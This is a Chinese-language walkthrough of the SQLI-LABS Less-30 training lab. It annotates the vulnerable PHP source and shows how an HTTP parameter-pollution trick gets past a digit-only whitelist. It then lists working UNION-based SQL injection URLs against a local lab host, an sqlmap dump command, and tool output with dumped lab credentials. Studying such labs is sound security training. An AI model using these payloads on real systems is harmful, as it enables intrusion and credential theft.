目錄
一、源碼分析
1、index.php代碼審計
2、login.php代碼審計
3、java_implimentation函數
4、whitelist函數
5、SQL安全性分析
二、滲透實戰
1、進入靶場
2、WAF探測
(1)觸發WAF
(2)繞過WAF
3、手工注入
(1)獲取列數
(2)獲取回顯位
(3)獲取數據庫名
(4)獲取表名
(5)獲取列名
(6)獲取數據
4、滲透實戰
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節對第30關Less 30可以繞過WAF的GET字符型SQL注入關卡進行滲透實戰,與29關相比主要的區別是閉合方式由單引號變為雙引號。
一、源碼分析
本關卡Less30是基于GET字符型的SQL注入關卡,如下所示。
1、index.php代碼審計
Less30關卡index.php功能是簡單基于id的查詢頁面,相對于29關主要區別是閉合方式變為雙引號,且不再打印數據庫報錯信息,具體區別如下所示。
index.php詳細注釋后的代碼如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-30</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 引入數據庫連接參數(包含敏感信息)
include("../sql-connections/sql-connect.php");// 禁用PHP錯誤報告(可能隱藏安全警告)
error_reporting(0);// 處理用戶輸入的id參數
if(isset($_GET['id']))
{// 獲取用戶輸入的id參數$id = $_GET['id'];// 記錄用戶輸入到日志文件(未過濾可能的惡意內容)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 獲取完整的查詢字符串用于提示信息$qs = $_SERVER['QUERY_STRING'];$hint = $qs;// 在用戶輸入的id前后添加雙引號(形成 "id" 的格式)// 這是本關卡的核心特點:使用雙引號包圍用戶輸入$id = '"' . $id . '"';// 構造SQL查詢語句(直接拼接用戶輸入,存在SQL注入風險)// 注意:這里id變量已經被雙引號包圍,形成 "id" 的格式$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";// 執行SQL查詢(使用不安全的mysql_*函數,已廢棄)$result = mysql_query($sql);// 獲取查詢結果$row = mysql_fetch_array($result);// 根據查詢結果輸出信息if($row){// 成功查詢時顯示用戶信息echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";}else {// 失敗時顯示錯誤信息(已注釋掉數據庫錯誤輸出,減少信息泄露)echo '<font color= "#FFFF00">';//print_r(mysql_error()); // 注釋掉錯誤輸出,降低安全風險echo "</font>"; }
}
else { // 提示用戶輸入ID參數echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center><img src="../images/Less-30.jpg" /></br></br></br><img src="../images/Less-30-1.jpg" /></br></br><font size='4' color= "#33FFFF"><?php// 顯示用戶輸入的查詢字符串提示echo "Hint: The Query String you input is: " . $hint;?></font>
</center>
</body>
</html>
本關卡?PHP 代碼實現了一個簡單的用戶信息查詢頁面,但由于未對GET方法傳入參數id進行過濾,存在嚴重的SQL安全隱患,本關卡核心功能如下:
- 參數接收:通過 GET 方法獲取用戶傳入的
id
參數,使用雙引號包裹,未經過濾直接拼接到SQL語句中。 - 日志記錄:將用戶輸入的
id
記錄到result.txt
文件,用于分析。 - 數據庫查詢:使用mysql_query函數執行 SQL 查詢,嘗試從users表獲取對應id的用戶記錄。
- 結果展示:如果查詢成功,顯示用戶名和密碼;如果失敗,不顯示數據庫報錯信息。
- 提示信息:頁面下方顯示完整的查詢字符串,可能用于幫助用戶調試或開發者分析。
2、login.php代碼審計
Less30關卡login.php功能是簡單基于id的查詢頁面,相對于29關主要區別是閉合方式變為雙引號,但是相對于index.php,本login.php打印數據庫報錯信息,具體區別如下所示。
login.php功詳細注釋后的代碼如下所示。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-30 Protection with WAF</title>
</head>
<body bgcolor="#000000">
<!-- 頁面標題和樣式 -->
<div style="margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 包含數據庫連接文件
include("../sql-connections/sql-connect.php");
// 禁用錯誤報告
error_reporting(0);// 處理GET參數
if(isset($_GET['id']))
{// 獲取原始查詢字符串$qs = $_SERVER['QUERY_STRING'];$hint=$qs; // 保存用于顯示的提示信息// 處理HTTP參數污染(HPP)$id1=java_implimentation($qs);$id=$_GET['id'];// 白名單驗證whitelist($id1);// 使用雙引號包裹ID值 - 關鍵風險點$id = '"' .$id. '"';// 記錄日志$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 構建并執行SQL查詢$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row) {// 顯示查詢結果echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 顯示錯誤信息echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }
} else { echo "Please input the ID as parameter with numeric value";
}// 白名單過濾函數 - 只允許數字輸入
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if(!$match) { header('Location: hacked.php');exit;}
}// 模擬HPP(HTTP參數污染)處理
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;break;}}
}
?>
</font> </div>
<!-- 頁面底部圖片和提示 -->
<center>
<img src="../images/Less-30.jpg" /><br>
<img src="../images/Less-30-1.jpg" /><br>
<font size='4' color= "#33FFFF">
<?php echo "Hint: The Query String you input is: ".$hint; ?>
<br><br>
<!-- 安全相關文檔鏈接 -->
<a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">AppsecEU09_CarettoniDiPaola_v0.8.pdf</a><br>
<a href="https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf">WAF繞過技術文檔</a>
</font>
</center>
</body>
</html>
login.php功代碼是一個帶有 WAF 防護的 Web 應用。核心功能包括如下內容。
- 用戶輸入處理:通過
$_GET['id']
獲取參數,使用雙引號包裹id,。 - 對第一個id參數進行過濾處理:
whitelist
函數對參數id使用正則表達式驗證輸入是否為純數字,阻止非數字攻擊載荷。java_implimentation
模擬 Java 應用對 HTTP 參數污染的處理邏輯,僅提取第一個id
參數值進行驗證。
- 數據庫操作:將用戶輸入id拼接至 SQL 語句,
- 如果僅有一個參數id,通過函數過濾后使用SQL語句查詢數據庫用戶信息
- 如果存在第二個參數id的話則是沒有任何過濾直接拼接到SQL語句中。
- 日志記錄:將用戶輸入的
id
參數記錄到result.txt
,用于分析。 - 結果反饋:成功查詢時顯示用戶名和密碼,失敗時暴露數據庫錯誤信息(如
mysql_error()
)?
3、java_implimentation函數
java_implimentation函數的核心目的是模擬 Java 應用處理 HTTP 參數污染 (HPP) 的行為差異。PHP 默認會將重復參數名的值合并為數組,而 Java Servlet 容器通常只處理第一個出現的參數。該函數通過以下步驟提取處理后的參數。
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array = explode("&", $q_s); // 按&分割參數字符串foreach($qs_array as $key => $value){$val = substr($value, 0, 2); // 檢查參數名前兩位if($val == "id"){$id_value = substr($value, 3, 30); // 提取等號后的值return $id_value; // 僅返回第一個匹配的id參數值break;}}
}
java_implimentation函數的設計初衷是模擬 Java 應用處理 HTTP 參數污染(HPP)的行為差異,其核心邏輯是從原始查詢字符串中提取第一個出現的id參數值,并忽略后續同名參數。函數通過將查詢字符串按&分割為參數數組,遍歷查找首個以id=開頭的參數,提取其值(跳過id=部分)并返回。然而,這一實現存在嚴重安全風險:它僅驗證第一個id參數是否為純數字(通過白名單),但 SQL 查詢卻使用原始的、未過濾的id參數,導致攻擊者可通過提交多個id參數(如id=1&id=1' OR 1=1 --)繞過驗證機制,實現 SQL 注入攻擊。這種驗證與使用分離的設計缺陷,使得函數非但未能增強安全性,反而成為SQL注入攻擊的觸發點。
4、whitelist函數
whitelist()
函數使用正則表達式驗證輸入是否為純數字,具體處理如下所示。
function whitelist($input) {$match = preg_match("/^\d+$/", $input);if ($match) {// 驗證通過,不做處理} else { header('Location: hacked.php');}
}
- 功能:實現白名單機制,僅允許純數字輸入,意圖阻止非數字類型的 SQL 注入攻擊。
- 參數:
$input
為待驗證的用戶輸入(來自java_implimentation
函數提取的第一個id
參數值) - 正則表達式:核心函數$match = preg_match("/^\d+$/", $input),要求輸入完全由數字組成,不允許包含任何非數字字符(如字母、符號、空格等)
^
:匹配輸入字符串的開始位置。\d+
:匹配一個或多個數字(等價于[0-9]+
)。$
:匹配輸入字符串的結束位置。
-
條件判斷與響應:
- 驗證通過(
$match
為1
):
不執行任何操作,允許程序繼續執行數據庫查詢。 - 驗證失敗(
$match
為0
):
通過header('Location: hacked.php')
重定向到hacked.php
頁面,模擬 “攻擊檢測成功” 的響應。
- 驗證通過(
-
安全風險原因:
- 函數僅驗證第一個
id
參數(由java_implimentation
函數提取),但未處理其他id參數。 - SQL 查詢使用的是原始
$_GET['id']
參數(包含所有提交的id
參數),而非驗證通過的$id1
。
- 函數僅驗證第一個
-
繞過原理:通過提交多個
id
參數,使第一個參數為純數字(通過驗證),第二個參數包含惡意載荷:-
驗證階段:java_implimentation提取第一個參數id=1,whitelist驗證通過(因為第一關參數1為純數字)。// 示例 payload id=1&id=1" OR 1=1 --+
- 查詢階段:$_GET['id']為第二個id參數1" OR 1=1 --+,被直接拼入 SQL 語句,觸發SQL注入。
-
5、SQL安全性分析
盡管代碼嘗試通過白名單過濾數字輸入,但存在以下致命缺陷:
- java_implimentation繞過防護:java_implimentation()僅驗證第一個id參數,攻擊者可通過提交多個id參數(如id=1&id=1" OR 1=1 --),使第一個參數通過驗證,第二個參數傳入到SQL語句觸發 SQL 注入風險。
- 未處理 SQL 拼接:第二個參數變量
$id
直接拼入 SQL 語句,未使用預處理語句或轉義函數,直接執行SELECT * FROM users WHERE id="$id" LIMIT 0,1導致惡意 payload 可破壞 SQL 語法結構。 - 錯誤信息泄露:mysql_error()直接輸出數據庫錯誤,可能泄露表名、字段名等敏感信息,輔助攻擊者構造攻擊載荷。
二、滲透實戰
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://192.168.59.1/sqli-labs/
點擊進入Page2,如下圖紅框所示。?
其中第30關在進階挑戰關卡“SQLi-LABS Page-2 (Adv Injections)”中,?點擊進入如下頁面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
點擊上圖紅框的Less30關卡,進入到靶場的第30關卡,頁面提示“Please input the ID as parameter with numeric value”,并且在頁面下方提示HINT信息“?Hint: The Query String you input is: ”,具體如下所示。
http://192.168.59.1/sqli-labs/Less-30
訪問30關卡的login.php,URL與訪問頁面如下所示。
http://127.0.0.1/sqli-labs/Less-30/login.php
訪問30關卡的hacked.php,URL如下所示。
http://192.168.59.1/sqli-labs/Less-30/hacked.php
根據源碼分析我們得知,僅當訪問login.php且第一id非數字時會進入如下頁面。?
2、WAF探測
(1)觸發WAF
訪問login.php,第一個參數設置為純數字1單引號,因為第一關id不是純數字觸發了防火墻的防護,被重定向到hacked.php,效果如下所示。
http://127.0.0.1/sqli-labs/Less-30/login.php?id=1'
(2)繞過WAF
訪問login.php,第一個參數設置為純數字1,第二個參數id設置為1" or 1=1--+,效果如下所示繞過了防火墻的防護,當前頁面顯示查詢成功,顯示id=1的用戶名和密碼,沒有重定向到hacked.php。
http://127.0.0.1/sqli-labs/Less-30/login.php?id=1&id=1" or 1=1--+
3、手工注入
(1)獲取列數
如下所示,order by為3時滲透成功,但是order by為4時提示列不存在,故而共有3列。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 4--+
(2)獲取回顯位
如下所示,回顯位為2和3,接下來我們使用第2個回顯位進行滲透。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,2,3--+
(3)獲取數據庫名
如下所示,數據庫的名稱為“security”。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,DATABASE(),3--+
(4)獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+
(5)獲取列名
如下所示,數據庫users表的列名分別為id,username,password。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+
(6)獲取數據
最后通過上一步獲取到的列名來提取users表的內容,如下所示滲透成功。
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+
4、滲透實戰
?我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),其中-u參數指定目標URL地址,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1*" --current-db --batch --dump
特別注意,本次滲透并沒有選擇index.php?id=1的網址,否則本關卡與第1關沒有任何區別了,本關卡選擇login.php后面跟著兩個參數id,其中第一個參數id=1用于繞過Waf,第二個參數id=1*則是指定注入點。執行注入命令后,sqlmap滲透成功,可以通過聯合注入法、報錯法、時間盲注方法滲透成功,具體信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND 2583=2583#Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND GTID_SUBSET(CONCAT(0x716b6a6271,(SELECT (ELT(5237=5237,1))),0x71767a7071),5237)-- NpJWType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND (SELECT 7156 FROM (SELECT(SLEEP(5)))RDwn)-- TQecType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=-3633" UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a6271,0x6273634f6461476c54424b734b504173504c415a6365414a656a70654a567a55685774724472646f,0x71767a7071)#
---
[01:45:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[01:45:11] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |